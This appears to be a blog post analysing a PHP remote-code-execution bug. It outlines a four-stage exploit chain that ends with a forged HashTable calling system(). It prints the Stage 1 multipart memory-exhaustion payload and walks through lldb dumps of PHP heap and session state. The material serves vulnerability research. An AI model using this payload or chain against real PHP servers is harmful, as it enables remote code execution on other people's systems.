Now, let us dive into:
W — Work Backwards: Reconstruct the causal chain that led to the vulnerability, not just the call stack.
This vulnerability is not quite straighforward, let us use “dive and conquer” method. From the exploit script, it can be split into 4 stage:
| Stage | Name | Purpose | Output |
| 1 | EXHAUST | OOM via nested fields + session upload progress → leaves stale heap in the worker | Stale worker |
| 2 | HEAP LEAK | Consumer hits same worker, corrupts zend_string.len → 256-byte PHPSESSID cookie leaks heap pointers | Heap base |
| 3 | CODE LEAK | Same OOM + consumer trick with different array shape → leaks zval_ptr_dtor address from a 16-byte cookie | dtor(code base) |
| 4 | CALLBACK | Plants forged HashTable at target = heap_base – DELTA + OFFSET, with pDestructor = zif_system → OOM cleanup calls system(cmd) | RCE |
Stage 1
I used AI to dump the content of stage 1 to a text file. It is like:
--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="p0000"x--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="p0001"^Mx--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="p0002"^Mx--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="p0003"...--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="PHPSESSID"^@--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"^Mppp--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="f"; filename="a.txt"^AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^M--COOKIE-LAB-BOUNDARYContent-Disposition: form-data; name="f[0][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x]"; filename=""^M--COOKIE-LAB-BOUNDARYContent-Disposition: form-data; name="f[1][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x][x]"; filename=""^M...
The Stage 1 request body is a multipart form upload containing 1,003 parts. The first 50 parts (p0000–p0049) are single-byte padding fields that calibrate the heap layout. Next come three parts that set up the session code path: PHPSESSID=\x00 (a NUL-byte session ID), PHP_SESSION_UPLOAD_PROGRESS=ppp (which activates upload progress tracking), and a dummy file upload field f (which routes the request through PHP’s rfc1867 file-upload parser). The remaining 950 parts are the memory bomb: each is a form field with a deeply nested name like f[0][x][x]…[x] (57 levels of bracket nesting) and an empty filename=”” attribute. PHP parses each bracket as a new single-element array, creating roughly 54,000 arrays from just 249 KB on the wire — enough to exhaust the 128 MiB memory limit and trigger zend_bailout.
now, let us debug it with lldb:
b _zend_bailoutc
Then let us send the stage 1 only payload with curl, our breakpoint will be hit.
let us dump alloc_globals
dt _zend_mm_heap poi(alloc_globals)error: php-rebuilt 0x00b1737a: DW_TAG_member 'opaque' refers to type 0x0000000000b17387 which extends beyond the bounds of 0x00b17366 +0x000 use_custom_heap : 0n0 +0x008 storage : 0x00000000`00000000 _zend_mm_storage +0x010 size : 0x00000000`07f00740 +0x018 peak : 0x00000000`07f00c00 +0x020 shadow_key : 0x7e3d877a`52afffa1 +0x028 free_slot : [30] 0x00000000`00000000 +0x118 real_size : 0x00000000`08000000 +0x120 real_peak : 0x00000000`08000000 +0x128 limit : 0x00000000`08000000 +0x130 overflow : 0n1 +0x138 huge_list : 0x00000000`00000000 _zend_mm_huge_list +0x140 main_chunk : 0x00007571`4e600000 _zend_mm_chunk +0x148 cached_chunks : 0x00000000`00000000 _zend_mm_chunk +0x150 chunks_count : 0n64 +0x154 peak_chunks_count : 0n64 +0x158 cached_chunks_count : 0n0 +0x160 avg_chunks_count : 32.5 +0x168 last_chunks_delete_boundary : 0n0 +0x16c last_chunks_delete_count : 0n0 +0x170 custom_heap : (unnamed struct) +0x198 tracked_allocs : 0x00000000`00000000 _zend_array +0x1a0 pid : 0n637 +0x1b0 rand_state : zend_random_bytes_insecure_state
From the above, we can see:
| Field | Value | Meaning |
|---|---|---|
| size | 0x07f00740 (127.0 MiB) | Current memory usage |
| peak | 0x07f00c00 (127.0 MiB) | Peak usage |
| real_size | 0x08000000 (128 MiB) | Actual mmap’d pages |
| limit | 0x08000000 (128 MiB) | Memory limit |
| overflow | 1 | OOM flag is set |
| chunks_count | 64 | 64 × 2 MiB = 128 MiB of chunks allocated |
| cached_chunks | NULL | No free chunks available — fully exhausted |
A few things to notice:
- Overflow = 1 — this is the flag that zend_mm_safe_error sets right before calling zend_error_noreturn. It stays set through the bailout.
- cached_chunks = NULL, chunks_count = 64 — the heap is 100% full. 64 chunks × 2 MiB = 128 MiB exactly. There’s no room for even one more small allocation.
- size < limit — current tracked usage (127 MiB) is slightly below the 128 MiB limit. The OOM fired because real_size (actual mmap’d pages) already hit the ceiling. The gap is ZMM internal overhead (page headers, free list metadata) that counts toward real_size but not size.
Let us check ps_globals, the PHP session global variable:
dt _php_ps_globals ps_globals +0x000 save_path : 0x00007571`4ec8cde8 "" +0x008 session_name : 0x00007571`4e1dbfb8 "PHPSESSID" +0x010 id : 0x00007571`4e673000 _zend_string +0x018 extern_referer_chk : 0x00007571`4ec8cde8 "" +0x020 cache_limiter : 0x00007571`4e1dc078 "nocache" +0x028 cookie_lifetime : 0n0 +0x030 cookie_path : 0x00007571`4ec37be8 "/" +0x038 cookie_domain : 0x00007571`4ec8cde8 "" +0x040 cookie_samesite : 0x00007571`4ec8cde8 "" +0x048 cookie_secure : 0 +0x049 cookie_httponly : 0 +0x050 mod : 0x00005ad8`80b67800 ps_module_struct +0x058 default_mod : 0x00000000`00000000 ps_module_struct +0x060 mod_data : 0x00000000`00000000 Void +0x068 session_status : 0n1 ( php_session_none ) +0x070 session_started_filename : 0x00000000`00000000 _zend_string +0x078 session_started_lineno : 0x0 +0x07c module_number : 0n25 +0x080 random_state : _php_random_status_state_pcgoneseq128xslrr64 +0x090 random : _php_random_algo_with_state +0x0a0 gc_probability : 0n1 +0x0a8 gc_divisor : 0n100 +0x0b0 gc_maxlifetime : 0n1440 +0x0b8 cache_expire : 0n180 +0x0c0 mod_user_names : (unnamed struct) +0x150 mod_user_class_name : 0x00000000`00000000 _zend_string +0x158 mod_user_implemented : 0 +0x159 mod_user_is_open : 0 +0x15a auto_start : 0 +0x15b use_cookies : 1 +0x15c use_only_cookies : 1 +0x15d use_trans_sid : 0 +0x15e send_cookie : 0 +0x15f define_sid : 1 +0x160 serializer : 0x00005ad8`80cc2058 ps_serializer_struct +0x168 http_session_vars : _zval_struct +0x178 sid_length : 0n32 +0x180 sid_bits_per_character : 0n4 +0x188 rfc1867_progress : 0x00007571`4e660000 _php_session_rfc1867_progress +0x190 rfc1867_prefix : 0x00007571`4e1c5458 "upload_progress_" +0x198 rfc1867_name : 0x00007571`4e1c54d8 "PHP_SESSION_UPLOAD_PROGRESS" +0x1a0 rfc1867_freq : 0n-1 +0x1a8 rfc1867_min_freq : 1 +0x1b0 rfc1867_enabled : 1 +0x1b1 rfc1867_cleanup : 1 +0x1b2 use_strict_mode : 0 +0x1b3 lazy_write : 1 +0x1b4 in_save_handler : 0 +0x1b5 set_handler : 0 +0x1b6 random_seeded : 1 +0x1b8 session_vars : 0x00000000`41cd7258 _zend_string
The session state is inconsistent —
session_status(offset +0x68) saysphp_session_none(no active session), yetid(offset +0x10) still holds a validzend_string*andrfc1867_progressstill points to the upload progress struct. This is the “half-built state” left behind bylongjmp: it skipped the cleanup that would have reset these fields. Also notesession_vars(offset +0x1b8) at0x41cd7258— this looks like a truncated or corrupted pointer, not a valid heap address(compared to other valid heap address, all 0x00007571`xxxxxxxx). When the Stage 2 consumer hits this same worker and triggers session handling, it will interact with these stale references.
Leave a Reply